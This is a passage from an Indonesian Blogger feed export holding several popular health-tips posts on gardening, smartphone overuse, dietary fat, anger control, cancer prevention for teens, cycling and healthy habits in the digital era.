sejuk dan asri. Karena kebun yang selalu anda rawat menumbuhkan bunga-bunga indah yang beraneka warna didalamnya.</li><li>Menghindarkan Dari Alzheimer. Alzheimer atau penurunan fungsi otak yang diakibatkan pertambahan usia dapat anda hindari lebih dini dengan rutin berkebun. Belum anda penjelasan ilmiah yang bisa diungkapkan. Tapi pada kenyataannya, berkebun merangsang otak untuk selalu berpikir kreatif dan membuat seseorang menjadi super aktif.&nbsp;</li></ol>Semoga tips kesehatan yang mengulas berbagai manfaat berkebun bagi kesehatan dapat bermanfaat bagi pembaca sekalian...</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-20016756103255046492015-03-12T22:43:00.000-07:002016-03-13T14:09:26.279-07:00Lima Resiko Penggunaan Smartphone Secara Berlebihan<div style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgct1k_tqn8kULXR_wDhoBG7Itr-dtVD_z_dZ9CrqSlC8WJxUa5aXRFCn5GScYQbIiBkLcwr6cKY5YJcVcazdathsDumFjuSMuEG3lSOxCG9WGUHdIdWRQ0YlIWMVJEcvZkL5WHRxTSxn8/s1600/resiko+pemakaian+smartphone+berlebihan.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="425" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgct1k_tqn8kULXR_wDhoBG7Itr-dtVD_z_dZ9CrqSlC8WJxUa5aXRFCn5GScYQbIiBkLcwr6cKY5YJcVcazdathsDumFjuSMuEG3lSOxCG9WGUHdIdWRQ0YlIWMVJEcvZkL5WHRxTSxn8/s640/resiko+pemakaian+smartphone+berlebihan.jpg" width="640" /></a></div><br /><br /><br /><br /><br /><br /><br /><br /><br />Smartphone Atau Ponsel Pintar, mungkin sudah tak asing bagi sebagian orang. Bahkan pengguna smartphone dari hari ke hari cenderung mengalami peningkatan secara tak terkendalikan. Berbagai fitur dan aplikasi pada smartphone membuat pemiliknya tak mau jauh-jauh dari smartphone miliknya tersebut. Inilah yang menjadi biang keladi dari berbagai gangguan dan masalah kesehatan yang mungkin anda rasakan saat ini. Lalu, apa saja sebenarnya resiko penggunaan smartphone secara berlebihan tersebut...???,<br /><br /><a href="https://www.blogger.com/null" name="more"></a></div><div style="text-align: justify;"></div><div style="text-align: justify;">Tidak sedikit yang mengatakan bahwa smartphone semakin mempermudah hidup seseorang setiap harinya. Dengan smartphone ditangan, maka segala pekerjaan yang dulunya hanya bisa di lakukan di komputer atau laptop bisa digantikan perannya oleh sebuah smartphone. Alasan inilah yang membuat smartphone semakin laris manis dipasaran gadget dunia dan di negara kita. Tapi, penggunaan smartphone secara membabi buta dapat berdampak buruk bagi kesehatan tubuh anda...<br /><blockquote class="tr_bq">Berikut ini 5 resiko nyata dari penggunaan smartphone secara berlebihan</blockquote></div><div style="text-align: justify;"><ol><li>Meningkatkan Resiko Kram Jari Dan Peradangan. Jari, pergelangan dan siku pada tangan merupakan daerah yang paling dikorbankan dari penggunaan smartphone secara berlebihan. Efeknya tentu akan mulai anda rasakan seperti sering terjadi kram pada jari tangan serta beresiko meningkatkan peradangan pada sendi (tendinitis). Solusinya, batasi penggunaan smartphone dan lakukan peregangan setelah menggunakan smartphone pada ketiga area diatas.</li><li>Mengakibatkan Pegal Pada Daerah Leher Dan Punggung. Sebagian besar pengguna smartphone selalu berposisi menunduk saat menatap layar smartphone miliknya. Inilah yang mengakibatkan rasa sakit atau nyeri pada daerah leher dan punggung. Solusinya, sejajarkan smartphone dengan kepala anda, maka rasa sakit pada kedua daerah tersebut dapat anda hindari.</li><li>Membahayakan Kesehatan Mata. Rentang waktu penggunaan smartphone yang begitu lama tentulah berefek buruk pada organ mata seperti mulai kabur, mata kering serta mata yang mulai lelah. Solusinya, sesuaikan ukuran huruf pada smartphone senyaman mungkin, sering mengedipkan mata serta sesekali alihkan pandangan dari smartphone dengan melihat objek yang lebih jauh.</li><li>Beresiko Terkena Gejala Nomophobia. Nomophobia merupakan rasa takut untuk menjalani hidup, jika harus hidup tanpa smartphone di tangan. Solusinya, jangan sering mengecek smartphone dengan menaruhnya di tas dan bukan disaku anda. Serta luangkan waktu minimal satu hari tanpa smartphone. Beranikan anda....???.</li><li>Merusak Jam Tidur Malam. Ada banyak sekali yang harus dicek di smartphone milik anda seperti berbagai update jejaring sosial serta email yang belum sempat di baca. Hal inilah yang membuat seseorang terjaga hingga larut malam. Solusinya, jauhkan smartphone dari tempat tidur atau jangkauan tangan anda..</li></ol>Semoga tips kesehatan yang mengulas 5 resiko nyata dari penggunaan smartphone secara berlebihan dapat bermanfaat bagi pembaca...</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-42608558204535129622015-03-04T16:51:00.000-08:002016-03-13T14:13:17.162-07:00Inilah 7 Manfaat Lemak Bagi Kesehatan Tubuh Kita<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixdqrJIYooPgXJ-FwZO1s6HqrodxO3a8PP5MFS0mX7SmonQRa1R-457WKGAYjuT4fAwyy5UIgB4YqTNkQL_MPA5lYgazBz-OG9_qdR6dNqpusIaNTeQAULnmri70mMng-oGQ96cN2b-Yk/s1600/manfaat+dahsyat+lemak+kesehatan+tubuh.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixdqrJIYooPgXJ-FwZO1s6HqrodxO3a8PP5MFS0mX7SmonQRa1R-457WKGAYjuT4fAwyy5UIgB4YqTNkQL_MPA5lYgazBz-OG9_qdR6dNqpusIaNTeQAULnmri70mMng-oGQ96cN2b-Yk/s640/manfaat+dahsyat+lemak+kesehatan+tubuh.jpg" width="640" /></a></div><div style="text-align: justify;"><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />Lemak Tubuh, mungkin menjadi musuh yang nyata bagi manusia modern sekarang ini. Mereka sangat ingin mengurangi dan bahkan stop untuk mengkonsumsi berbagai makanan yang mengandung lemak tersebut. Faktanya, lemak merupakan suatu zat yang sangat dibutuhkan oleh tubuh anda. Berbagai resiko kesehatan dapat muncul, jika tubuh kekurangan lemak yang dibutuhkan. Lalu, apa saja manfaat dahsyat lemak bagi kesehatan tubuh tersebut...???.</div><div style="text-align: justify;"><a href="https://www.blogger.com/null" name="more"></a><br /></div><div style="text-align: justify;">Fakta kedua, ternyata ada dua jenis lemak di makanan yaitu lemak baik dan lemak jahat (lemak trans). Nah, tubuh anda sangat membutuhkan lemak baik untuk menunjang berbagai kinerja semua organ dan meningkatkan kesehatan tubuh. Lemak baik dapat ditemukan pada berbagai makanan yang anda konsumsi yaitu berasal dari hewan (lemak hewani) dan lemak nabati (tumbuhan). Mencukupi konsumsi lemak baik sangat mutlak dilakukan...<br /><blockquote class="tr_bq">Berikut ini 7 manfaat dahsyat lemak bagi kesehatan tubuh anda</blockquote></div><div style="text-align: justify;"><ol><li>Menjaga Fungsi Otak Selalu Optimal. Hampir 60 persen jaringan otak tersusun atas lemak. Tak terbayangkan, jika anda malah anti untuk mengkonsumsi makanan yang mengandung lemak. Lemak yang dimaksud yaitu berasal dari ikan (asam lemak omega 3), buah alpukat serta kacang-kacangan.</li><li>Berperan Dalam Membantu Penyerapan Vitamin. Fungsi lemak yang tak kalah penting, yaitu berperan penting dalam membantu penyerapan berbagai vitamin yang dibutuhkan oleh tubuh. Jadi, apa jadinya jika anda menghilangkan menu makanan yang mengandung lemak kedalam diet anda.</li><li>Menangkal Datangnya Alzheimer Lebih Dini. Seiring bertambahnya usia seseorang, berbagai masalah gangguan kesehatan akan rentan muncul seperti Alzheimer, parkinson serta gangguan otak lainnya. Mengkonsumsi makanan yang mengandung lemak dapat membantu penyerapan vitamin D. Vitamin D inilah yang dapat menurunkan berbagai masalah dan gangguan pada otak anda.</li><li>Menjaga Kesehatan Organ Paru-Paru. Lemak juga berperan penting agar organ paru-paru dapat bekerja lebih optimal sekaligus menjaga paru-paru anda. Ini dikarenakan, hampir sebagian besar organ paru-paru dilapisi oleh suatu zat yang bernama lemak. </li><li>Meningkatkan Sistem Kekebalan Tubuh Anda. Mengkonsumsi cukup makanan yang mengandung lemak dapat membantu sel darah putih dalam menangkal serta memusnahkan berbagai virus, bakteri dan jamur yang dapat mengancam tubuh sewaktu-waktu.</li><li>Membantu Merawat Kulit Wajah Dan Tubuh Anda. Ini dikarenakan, hampir sebagian besar membran sel dalam tubuh tersusun atas lemak. Dengan mencukupi kebutuhan lemak yang diperlukan oleh tubuh, maka sel-sel penyusun tubuh akan terjaga kesehatannya dan pada akhirnya kulit menjadi lebih sehat, halus dan bersinar setiap saat. </li><li>Jantung Yang Lebih Sehat Dan Kuat. Lemak khususnya lemak jenuh berkontribusi besar dalam peningkatan kesehatan organ jantung anda (minyak kelapa jenuh). Jadi, masihkah mengabaikan lemak dalam menu makanan anda sehari-hari...???.</li></ol>Semoga tips kesehatan yang mengulas 7 manfaat dahsyat lemak bagi kesehatan tubuh dapat bermanfaat bagi pembaca sekalian...</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-91220581811664643372015-02-27T06:16:00.000-08:002016-03-13T14:23:43.221-07:00Tips 7 Cara Efektif Agar Tak Mudah Jadi Pemarah<div style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://2.bp.blogspot.com/-BGJtdTMd9Kw/VuXZnqc0lQI/AAAAAAAAACo/K1U4ohQ7H34Sn5qlUz2Jdk8jNSYcdOxNg/s1600/-anak.jpg-201601080815241.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="338" src="https://2.bp.blogspot.com/-BGJtdTMd9Kw/VuXZnqc0lQI/AAAAAAAAACo/K1U4ohQ7H34Sn5qlUz2Jdk8jNSYcdOxNg/s640/-anak.jpg-201601080815241.jpg" width="640" /></a></div><br />Emosi mungkin inilah yang saat ini dirasakan oleh sebagian orang atau yang anda rasakan saat ini. Berbagai sebab dapat menciptakan rasa marah pada diri seseorang seperti selalu dipojokkan, merasa di perlakukan tidak adil maupun penyebab lainnya. Apakah anda sering marah-marah...???. Faktanya, sering marah sangat buruk bagi kesehatan serta pemicu serangan jantung. Lalu, adakah tips efektif agar tak mudah marah-marah...???.<br /><br />Marah, sedih, kecewa, tertawa merupakan aneka ekspresi yang di keluarkan seseorang setiap harinya. Semua ekspresi seharusnya bisa dkontrol pada tahap dibatasi dan dihilangkan (Tidak tertawa kebablasan serta sedapat mungkin menghilangkan rasa marah). Marah sendiri merupakan emosi negatif yang dapat meracuni tubuh kita dan bisa berpengaruh pada hati anda, sistem imun tubuh, sistem pencernaan serta produksi hormon. Ada beberapa tips yang terbukti efektif yang mungkin bisa anda terapkan agar tak mudah marah...<br /><blockquote class="tr_bq">Berikut ini 7 tips efektif agar tak mudah marah-marah</blockquote></div><div style="text-align: justify;"><div style="text-align: center;"></div><ol><li>Mengubah Perspektif Lawan Anda. Maksudnya, jika anda sedang berdebat atau marah dengan orang yang lebih tua, maka ada baiknya anda mengalah duluan. Anggap saja, dia adalah guru atau panutan yang harus kita taati dan hormati. Jika anda sedang berdebat atau marah dengan orang yang lebih muda, maka ada baiknya anda mengalah juga (karena emosi yang lebih muda biasanya meluap-luap). Dan jika anda sedang berdebat atau marah dengan seumuran sebaiknya didiskusikan berdua tentang solusi yang terbaik.</li><li>Memiliki Sebuah Prinsip Terpuji. Berusahalah menjadi salah satu orang yang paling suka memaafkan di dunia ini. Saat orang lain marah-marah dan memaki-maki anda, mungkin saja emosinya tidak terkontrol. Anda tak perlu membalas hal serupa atas kekhilafannya. Maafkalanlah semua kata-katanya, hal ini sangat baik untuk kesehatan tubuh anda sendiri.</li><li>Menjadi Pribadi Yang Sabar. Faktanya, jika anda meluapkan rasa marah dengan membabi buta, maka efeknya juga kembali bagi tubuh anda seperti membahayakan jantung anda. Jadi, mana yang anda pilih, itu terserah pribadi anda. Saran, jadilah salah satu manusia paling sabar yang pernah ada di dunia ini.</li><li>Mengalihkan Energi Ke Hal Yang Lebih Baik. Daripada menghabiskan waktu untuk marah-marah, lebih baik memfokuskan pada rencana-rencana yang telah anda susun untuk kesuksesan&nbsp; masa depan yang lebih baik.</li><li>Mulailah Tertawa. Ide ini agak sedikit aneh. Tapi ini juga tampaknya terbukti efektif. Dengan menganti eksperesi wajah dengan tertawa, maka muka yang cemberut dan bibir yang komat-kamit akan segera berubah dengan keceriaan.</li><li>Menyerahkan Segala Urusan Pada Tuhan YME. Saat kita mengingat Sang Maha Pencipta, maka pikiran dan emosi negatif dapat terkontorol dan dihilangkan dengan mudah. Saran, selalu ingatlah dan agungkan nama Tuhan YME di setiap perjalanan hidup anda.</li><li>Banyak Membaca Buku. Ada berbagai tips dan langkah-langkah yang bisa anda terapkan agar tidak menjadi manusia pemarah. Salah satu membaca artikel ini atau buku-buku yang terkait. Dan biasanya, orang yang suka membaca buku merupakan pribadi yang baik yang mampu mengontrol ucapan dan perilakunya sehari-hari. Anda Setuju...???</li></ol>Semoga tips kesehatan yang mengulas 7 tips efektif agar tak mudah marah dapat bermanfaat bagi pembaca sekalian...</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-7113609057979148272015-01-30T19:44:00.000-08:002016-03-13T14:35:23.251-07:00Tips 4 Cara Super Efektif Untuk Mencegah Kanker<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjm8XTM_JRYsFrOdGbhVONi4oVLJfwD53YbDmijAvDjCOiNahe5tMSYj660ODexFXC3kUwt6M3PHAhXSY3skVSqTNrYDKtVa7tEJK9xxF3-joklGYD28191EwWA05UUi42y6mMJ6Mq2QqQ/s1600/tips+super+cegah+kanker+remaja.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="422" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjm8XTM_JRYsFrOdGbhVONi4oVLJfwD53YbDmijAvDjCOiNahe5tMSYj660ODexFXC3kUwt6M3PHAhXSY3skVSqTNrYDKtVa7tEJK9xxF3-joklGYD28191EwWA05UUi42y6mMJ6Mq2QqQ/s640/tips+super+cegah+kanker+remaja.jpg" width="640" /></a></div><div style="text-align: justify;"><br /><br /><br /><br /><br /><br /><br /><br /><br />Kanker merupakan salah satu jenis penyakit mematikan yang bisa mengancam jiwa setiap manusia. Kanker memiliki nama lain tumor ganas dan neoplasma. Pengertian kanker sendiri yaitu sel - sel abnormal yang tumbuh secara cepat hingga tak terkendali kemudian menyebar ke organ-organ lainnya didalam tubuh anda. Para remaja diharapkan lebih peduli tentang berbagai pencegahan kanker yang benar yang mana bertujuan untuk menekan angka penderita kanker di seluruh dunia. Lalu, apa saja tips super efektif mencegah kanker pada remaja...???.</div><div style="text-align: justify;"><a href="https://www.blogger.com/null" name="more"></a><br /></div><div style="text-align: justify;">Menurut data dari badan keseahtan dunia (WHO), Pada tahun 2012, 8,2 juta umat manusia diseluruh penjuru dunia telah meninggal akibat penyakit kanker serta ditemukan berbagai kasus kanker baru yang mencapai angka 60 persen dalam setahun di beberapa negara seperti Afrika, Asia serta Amerika (tengah dan selatan). Berdasarkan data yang tersebut diatas, maka seyogyanya kita mulai peduli tentang penyakit kanker yang mematikan tersebut.&nbsp; Khusus untuk remaja sebagai generasi penerus bangsa...<br /><blockquote class="tr_bq">Berikut ini 4 tips super efektif untuk mencegah kanker pada remaja</blockquote></div><div style="text-align: justify;"><ol><li>Penuhi Kebutuhan Antioksidan. Antioksidan merupakan zat sekaligus nutrisi yang terbukti efektif untuk menangkal radikal bebas yang dapat&nbsp; memicu ternjadinya penyakit kanker. Anda dapat mencukupi kebutuhan akan antioksidan melalui sayuran berdaun hijau serta aneka buah-buahan.</li><li>Memulai Gaya Hidup Yang Sehat. Hidup sehat juga terbukti efektif untuk mencegah timbulnya penyakit kanker. Berbagai kebiasaan sehat yang dianjurkan seperti tidak merokok, tidak mengkonsumsi minuman beralkohol, kontrol berat badan serta rajin berolahraga minimal 30 menit setiap hari.</li><li>Batasi Paparan Sinar Matahari. Sinar matahari pagi tentunya sangat baik untuk kesehatan,&nbsp; meskipun begitu, anda sebaiknya membatasi paparan sinar matahari di siang hari. Ini dikarenakan, paparan sinar matahari pada siang hari beresiko meningkatkan kanker khususnya kanker kulit.</li><li>Pemberian Vaksin. Vaksin merupakan salah satu alternatif untuk mencegah penyakit kanker. Salah satu vaksinnya yaitu vaksin HPV yang berguna untuk mencegah kanker serviks yang menyerang para wanita termasuk remaja khususnya remaja wanita.</li></ol><br />Semoga tips kesehatan yang mengulas beberapa tips mencegah kanker pada remaja dapat bermanfaat bagi pembaca...</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-43190150056109282922015-01-26T04:46:00.000-08:002016-03-13T14:39:18.981-07:00Inilah 7 Manfaat Bersepeda Bagi Kesehatan Tubuh Kita<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgt-i6kOabe2eCizJqEL-B8IYv0RjRCJOJN3VKVP8L29QudfFudlfmA5R4_jGQZnZe2Qdb38RYQN0KY-JZIXj3Jka-ERdOZDe7wctez24KbTJy-43IT6wnxTIJjrYxo_Qomt9_YdtSZbpA/s1600/manfaat+bersepeda+kesehatan+tubuh+kuat.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="422" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgt-i6kOabe2eCizJqEL-B8IYv0RjRCJOJN3VKVP8L29QudfFudlfmA5R4_jGQZnZe2Qdb38RYQN0KY-JZIXj3Jka-ERdOZDe7wctez24KbTJy-43IT6wnxTIJjrYxo_Qomt9_YdtSZbpA/s640/manfaat+bersepeda+kesehatan+tubuh+kuat.jpg" width="640" /></a></div><div style="text-align: justify;"><br /><br /><br /><br /><br /><br /><br /><br /><br />Ckkiiiitttt......., inilah bunyi khas rem sepeda saat mulai dikayuh oleh pemiliknya. Sepeda merupakan salah satu alat transportasi yang murah dan mudah dikendarai tanpa harus mengkreditnya terlebih dahulu. Tapi faktanya, tidak sedikit dari kita malah sudah jarang menggunakan atau tidak memiliki sepeda satupun. Bersepeda tenyata merupakan salah satu olahraga yang dapat meningkatkan kesehatan tubuh seseorang. Lalu, apa saja manfaat dahsyat bersepeda bagi kesehatan tubuh tersebut...???.</div><div style="text-align: justify;"><a href="https://www.blogger.com/null" name="more"></a><br /></div><div style="text-align: justify;">Seiring berkembangnya zaman, maka kita lebih memilih model transportasi yang lebih cepat untuk menunju ke suatu tempat tujuan. Faktanya, dari hari kehari, sepeda motor laksana semut berbaris di sepanjang jalan raya yang kita lewati, belum lagi deretan mobil yang laksana anakonda. Hanya saat car free day ( hari tanpa sepeda motor dan mobil) kita bisa melihat sepeda mulai di gunakan. Untuk lebih memahami berbagai manfaat bersepeda bagi kesehatan...<br /><blockquote class="tr_bq">Berikut ini 7 manfaat dahsyat bersepeda bagi kesehatan tubuh anda</blockquote></div><div style="text-align: justify;"><ol><li>Memperkuat Dan Menjaga Kesehatan Jantung Anda. Dalam sebuah studi, bersepeda dengan intensitas sedang selama 3 (tiga) kali seminggu dalam waktu 30 menit selama satu tahun mampu menurunkan tekanan dan juga menurunkan kolesterol jahat dalam tubuh. </li><li>Efektif Sebagai Pembakar Kalori Tubuh. Memiliki tubuh yang proporsional tentu impian semua orang. Maka dari itulah, bersepeda rutin sangat efektif untuk membakar kalori dan lemak dalam tubuh seseorang.</li><li>Memperkuat Dan Memperkokoh Tulang Anda. Bersepeda merupakan salah satu olahraga yang mengandalkan kekuatan kaki dan tangan pemiliknya. Dengan rutin bersepeda setiap hari, maka secara otomatis daerah paha, betis, lengan serta pergelangan tangan menjadi semakin kuat.</li><li>Pendongkrak Energi Dalam Tubuh. Faktanya, menurut sebuah studi yang diterbitkan oleh the journal Psychotherapy and Psychosomatics, bersepeda dapat meningkatkan energi tubuh sebesar 20 % (persen) serta menurunkan tingkat kelelahan tubuh secara significan (60 persen). Ini dikarenakan, bersepeda akan merangsang otak untuk melepaskan dopamin neurotransmitter yang berkaitan dengan energi dalam tubuh.</li><li>Menyehatkan Persendian Anda. Dibanding olahraga seperti berjalan kaki maupun berlari, bersepeda akan sedikit sekali mengurangi tekanan pada persendian kaki anda. Dan pastinya mengurangi rasa nyeri sehabis melakukan olahraga bersepeda.</li><li>Meningkatkan Kekuatan Otot Anda. Dengan rutin bersepeda setiap hari, maka secara otomatis semua otot pada tulang ikut bergerak dan aktif. Sehingga lambat laun kekuatan semua otot pada tubuh akan meningkat secara drastis.</li><li>Memperkuat Sistem Imun Tubuh. Dengan rutin bersepeda, maka daya tahan tubuhpun akan lebih terjaga. Sehingga aktivitas dan pekerjaan berjalan lebih lancar, karena tubuh tidak mudah sakit dan terserang penyakit.</li></ol><br />Semoga tips kesehatan yang mengulas berbaga manfaat bersepeda dapat bermanfaat bagi pembaca sekalian...</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-29183606832730467352015-01-24T22:01:00.000-08:002016-03-13T14:45:27.003-07:00Tips 7 Kebiasaan Unik Agar Tubuh Makin Sehat<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv8H8V4KQo-ZGJF58TuSrMYtctWL1-sHp28ZfyaSYFtboSxRAC9kCZRBRcrxqHPpDCUh_ZXzleonsnsiisCnV8Wh8ziBSwTBLmMp8xdv9Ad8dwmSF2LpCOfF7r0OoRo_LfLuUGT1Z9Mj8/s1600/kebiasaan+unik+lebih+fit+makin+sehat.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv8H8V4KQo-ZGJF58TuSrMYtctWL1-sHp28ZfyaSYFtboSxRAC9kCZRBRcrxqHPpDCUh_ZXzleonsnsiisCnV8Wh8ziBSwTBLmMp8xdv9Ad8dwmSF2LpCOfF7r0OoRo_LfLuUGT1Z9Mj8/s640/kebiasaan+unik+lebih+fit+makin+sehat.jpg" width="640" /></a></div><div style="text-align: justify;"><br /><br /><br /><br /><br /><br /><br /><br />Makin Sehat, tentulah menjadi harapan dan keinginan setiap orang dalam jangka pendek maupun jangka panjang. Dalam bahasa puitisnya, "Apa yang anda tanam hari ini, akan anda petik dimasa mendatang". Atau dalam bahasa mudahnya, kebiasaan sehat yang anda lakukan mulai hari ini, akan memiliki manfaat untuk hari ini dan dimasa depan. Kebiasaan sehat harus mulai dilakukan tanpa harus menunda-nundanya. Lalu, apa saja kebiasaan unik agar lebih fit dan makin sehat tersebut...???.<br /><br /></div><div style="text-align: justify;"><a href="https://www.blogger.com/null" name="more"></a></div><div style="text-align: justify;">Memiliki visi dan disiplin yang tinggi merupakan langkah awal untuk mendapatkan kesehatan yang berkelanjutan di masa mendatang. Lalu, sudahkah anda memiliki visi yang berkaitan dengan kesehatan dalam rentang waktu 5 (lima) tahun kedepan...???. Seperti dalam contoh, "Saya akan menerapkan pola hidup sehat mulai hari ini hingga lima tahun kedepan, agar tubuhku lebih fit dan semakin sehat". Ada berbagai kebiasaan unik untuk mendapatkan tubuh yang fit dan semakin sehat...<br /><blockquote class="tr_bq">Berikut ini merupakan penjabarannya</blockquote></div><div style="text-align: justify;"><ol><li>Mereka Selalu Konsisten. Dalam hal ini, mereka sudah membuat list atau daftar tentang berbagai aktivitas dan makanan sehat yang harus mereka lakukan dan makan tiap harinya. Sehingga mencegah berbagai kebiasaan tidak sehat yang biasa dilakukan.</li><li>Mereka Melakukan Dengan Senang Hati. Seperti pada contoh, jika mereka mulai bosan berjalan kaki dipagi hari, maka mereka mulai beraktivitas lainnya seperti bersepeda ataupun berenang. Dengan tujuan menghilangkan kebosanan, namun tetap pada jalur meningkatkan kesehatan tubuh.</li><li>Mereka Mengutamakan Kesehatan Tubuh. Dalam hal ini, mereka akan lebih mengutamakan untuk melakukan kegiatan yang menyehatkan tubuh dan mengkonsumsi makanan sehat dan tidak melakukan berbagai kebiasan buruk dan mengkonsumsi makanan tidak sehat.</li><li>Mereka Selalu Termotivasi Untuk Meningkatkannya. Dalam hal ini, seseorang yang sudah mempraktekkan gaya hidup sehat setiap harinya, tentu menginginkan semuanya terus berlanjut dan sebisa mungkin ditingkatkan bukan malah menurunkannya.</li><li>Mereka Selalu Cepat Kembali, Jika Menyimpang. Dalam hal ini, tentu tidak mudah mempraktekkan gaya hidup sehat tanpa adanya godaan yang mengiringinya. Oleh karena itulah, mereka selalu cepat menyadari kesalahannya dan kembali ke pola hidup sehat yang sudah diagendakan.</li><li>Mereka Selalu Terbuka Atas Saran Yang Membangun. Dalam hal ini, mereka akan mematuhi segala saran dari para ahli kesehatan tentang berbagai cara hidup sehat yang mudah dan efektif dan tidak egois serta mengatakan bahwa pola hidup sehat yang mereka jalankan adalah yang paling benar.</li><li>Mereka Tidak Fokus Pada Penurunan Berat Badan. Tidak sedikit dari kita akan berpikir, bahwa pola hidup sehat hanya bertujuan untuk mengembalikan tubuh ke tingkat proporsional. Padahal sejatinya, pola hidup sehat yang kita lakukan adalah untuk mendapatkan tubuh yang lebih fit, bugar dan semakin sehat setiap saat.</li></ol><br />Semoga tips kesehatan yang mengulas berbagai kebiasaan unik untuk mendapatkan tubuh yang lebih fit dan semakin sehat dapat berguna dan bermanfaat bagi pembaca...</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-30695898645190046452015-01-23T23:12:00.000-08:002016-03-13T14:47:58.143-07:00Tips 7 Cara Mudah Hidup Sehat Di Era Digital Atau Era Canggih<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNwfMdi-JiG0JVRIJE1Cota7AfvTW4rALzEIMCuESipHvBTTnH1tGdKJZjo0Z01jomSUJ9RSI3SveGLZ1hjBAiGftTYI6SXUFFyN05ZM83Yg0bAUWqRnhi90Qw3J2KrHTSjVt39BCDvK0/s1600/tips+hidup+sehat+era+digital+canggih.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="422" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNwfMdi-JiG0JVRIJE1Cota7AfvTW4rALzEIMCuESipHvBTTnH1tGdKJZjo0Z01jomSUJ9RSI3SveGLZ1hjBAiGftTYI6SXUFFyN05ZM83Yg0bAUWqRnhi90Qw3J2KrHTSjVt39BCDvK0/s640/tips+hidup+sehat+era+digital+canggih.jpg" width="640" /></a></div><div style="text-align: justify;"><br /><br /><br /><br /><br /><br /><br /><br /><br />Aneh Tapi Nyata, mungkin inilah dua kata yang pas untuk melukiskan atau&nbsp; mendeskripsikan perkembangan teknologi yang super canggih seperti sekarang ini. Berbagai produk teknologi terbaru seperti banjir bandang yang tak kunjung henti. Berbagai merk handphone, laptop, dan aneka produk canggih lainnya siap memanjakan dan mempermudah kehidupan manusia. Faktanya, kecanduan teknologi yang berlebihan dapat berdampak buruk bagi kesehatan tubuh anda. Lalu, adakah tips hidup sehat di era digital atau super canggih tersebut...???.<br /><br /><a href="https://www.blogger.com/null" name="more"></a></div><div style="text-align: justify;"></div><div style="text-align: justify;">Sejatinya, kemajuan teknologi harusnya bisa meningkatkan kesehatan tubuh bukan malah membahayakan kesehatan tubuh itu sendiri. Saya (penulis) selalu menggunakan handphone untuk meningkatkan kesehatan tubuh yaitu menggunakan aplikasi penghitung langkah kaki setiap harinya. Ada berbagai tips sehat yang mudah dipraktekkan, meskipun zaman terus berubah...<br /><blockquote class="tr_bq">Berikut ini 7 tips hidup sehat di era digital atau era canggih :&nbsp;</blockquote></div><div style="text-align: justify;"><ol><li>Jauhkan Ponsel Atau Handphone Dari Kasur Anda. Gadget ini ternyata terbukti dapat menganggu jam tidur malam anda. Manusia membutuhkan jam tidur 7 - 8 jam setiap malamnya, apa jadinya, jika anda selalu asyik bermain game, berkirim pesan atau menelepon saat jam tidur malam tiba.</li><li>Tingkatkan Sosialisasi Dengan Orang Lain Secara Langsung. Berbicara dengan keluarga, teman dekat maupun orang terkasih akan lebih bermakna dan membahagiakan, jika dilakukan secara langsung tanpa bantuan pesan singkat maupun meneleponnya.</li><li>Jadikan Hari Tanpa Gadget. Saat libur kerja, maka ada baiknya lebih mendekatkan diri pada keluarga dan menjauhkan segala jenis gadget dari genggaman anda. Kebahagian dan ketenangan tentu akan mulai anda rasakan saat berkumpul dengan keluarga.</li><li>Jangan Bawa Gadget Saat Berolahraga. Mengolahragakan tubuh dipagi hari tentu akan lebih menyehatkan dan membuat pikiran tenang tanpa gadget di tangan. Andapun akan terbebas dari berbagai pesan singkat dan telepon dari ponsel.</li><li>Batasi Sosialisasi Di Jejaring Sosial Anda. Faktanya, hampir sebagian besar dari kita menghabiskan begitu banyak waktu di internet dengan duduk didepan laptop sambil menulis update status. Padahal duduk terlalu lama dapat mengundang berbagai resiko penyakit mematikan.</li><li>Manfaatkan Aplikasi Canggih Dalam Handphone Anda. Teknologi smartphone memungkinkan seseorang untuk mendownload aplikasi penghitung langkah kaki setiap harinya. Sehingga andapun bisa 